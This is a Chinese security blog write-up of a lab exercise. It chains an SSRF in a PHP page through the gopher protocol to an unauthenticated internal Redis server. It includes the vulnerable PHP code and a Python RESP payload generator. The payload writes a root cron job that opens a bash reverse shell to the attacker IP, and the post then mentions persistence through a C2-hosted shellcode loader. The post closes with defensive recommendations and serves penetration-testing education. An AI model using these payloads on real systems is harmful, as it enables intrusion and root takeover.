freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透实验:利用外网web服务的ssrf漏洞,通过gopher协议,控制内网redis服务器
2023-03-03 09:53:59
所属地 四川省

当一个公网web服务存在ssrf漏洞,且内网里有存在未授权访问的redis服务器时,攻击者可以利用公网web服务的ssrf,通过gopher协议,向内网redis服务器写反弹shell。

1.实验准备

同一网络内,准备三台linux,
主机A(192.168.248.138)和主机B(192.168.248.148)是攻击目标,主机C(192.168.248.149)是攻击者。主机B配置firewalld白名单,确保只有主机A能与其通信,模拟内网环境。

A部署xampp模拟公网web服务器,B使用root用户开启redis服务端。

主机B配置firewalld

firewall-cmd --zone=public --add-rich-rule='rule family=ipv4 source address=192.168.248.138 accept'

查看配置结果:

firewalld-cmd --list-all

主机B配置redis服务器

配置/usr/local/redis-6.2.7/redis.conf

设置密码为123456

requirepass 123456

将远程连接设置为任意ip

注释bind

或bind主机A的ip

关闭保护模式

protected-mode no

主机A启动xampp,并将下述脚本放到根目录,模拟存在ssrf漏洞的web页面

<?php
$url = $_POST['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);

?>
/opt/lampp/xampp start

主机B启动redis-server

/usr/local/redis-6.2.7/redis-server redis.conf

主机A启动redis-cli测试与主机B的连接

[root@centos2 ~]# redis-cli -h 192.168.248.148
192.168.248.148:6379> ping
(error) NOAUTH Authentication required.
192.168.248.148:6379> auth 123456
OK
192.168.248.148:6379> ping
PONG
192.168.248.148:6379>

测试firewalld是否生效,使用主机C的redis客户端连接主机B,无法连接,则说明firewalld配置成功

2.ssrf确认

访问主机A的ssrf页面

192.168.248.138/ssrf.php

image.png

确认漏洞存在

3.用python生成redis协议resp的payload

# -*-coding:utf-8-*-
# @脚本说明:模拟gopher协议发送redis指令
import urllib.parse

# 将指令列表中的每一条指令取出来,且将指令中的每个词
def cmd_to_wordlist(cmd: str, part: int) -> list[str]:
    wordlist = cmd.split(" ", part-1)
    return wordlist
# 将指令中的每个词组合成resp的payload格式
def push_word_to_payload(payload: str, wordlist: list[str]) -> str:
    paylaod = payload + "*" + str(len(wordlist)) + r"\r\n"
    for word in wordlist:
        paylaod = paylaod + "$" + str(len(word)) + r"\r\n" + word + r"\r\n"
    return paylaod

# 指令列表
cmdlist = ['auth 123456',
           'flushdb',
           'config set dir /var/spool/cron',
           'config set dbfilename root',
           'set myshell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.248.149/7890 0>&1\n\n"',
           'save',
           'quit']
payload = ""
# 定义gopher协议的ip和端口
p_payload = "gopher%3A//192.168.248.148%3A6379/_"

# 拼接paylaod
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[0],2))
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[1],1))
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[2],4))
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[3],4))
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[4],3))
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[5],1))
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[6],1))

# 将payload进行url编码处理
payload = urllib.parse.quote(payload)
payload = payload.replace("%","%25").replace("5Cr","0D").replace("5Cn","0A")
payload = p_payload + payload
print(payload)

将paylaod通过ssrf和gopher协议发送到redis服务器,向内网redis服务器计划任务写入反弹shell

image.png

可以看到成功写入,当然攻击者是不知道是否真的写入的

image.png

攻击者成功获得反弹shell,且是root权限,确认写入成功

image.png

提示此shell中无任务控制,那么一些命令是用不了的,如ip addr等

此时需要修改环境变量

export PATH=$PATH:/usr/sbin

image.png

如果要永久使用,可以修改/etc/profile

4.权限维持

可以在c2服务器上准备msf生成shellcode加载器,在计划任务反弹shell中,远程下载shellcode加载器,实现更稳定的连接和后续的入侵。

5.防护

对于ssrf的防护:

  • 验证web应用对内网的请求,在返回结果展示给用户之前先验证返回的信息是否合法。

  • 统一错误响应,防止用户通过错误响应信息来判断远端服务器的端口状态

  • 限制请求的端口号

  • 内网内部配置ip白名单

  • 禁用file://,gopher://,dict://,ftp://等不必要的协议

对于redis的防护,可以看我另一篇文章的总结

https://www.freebuf.com/vuls/351116.html

# 内网渗透 # Redis未授权访问漏洞 # SSRF漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录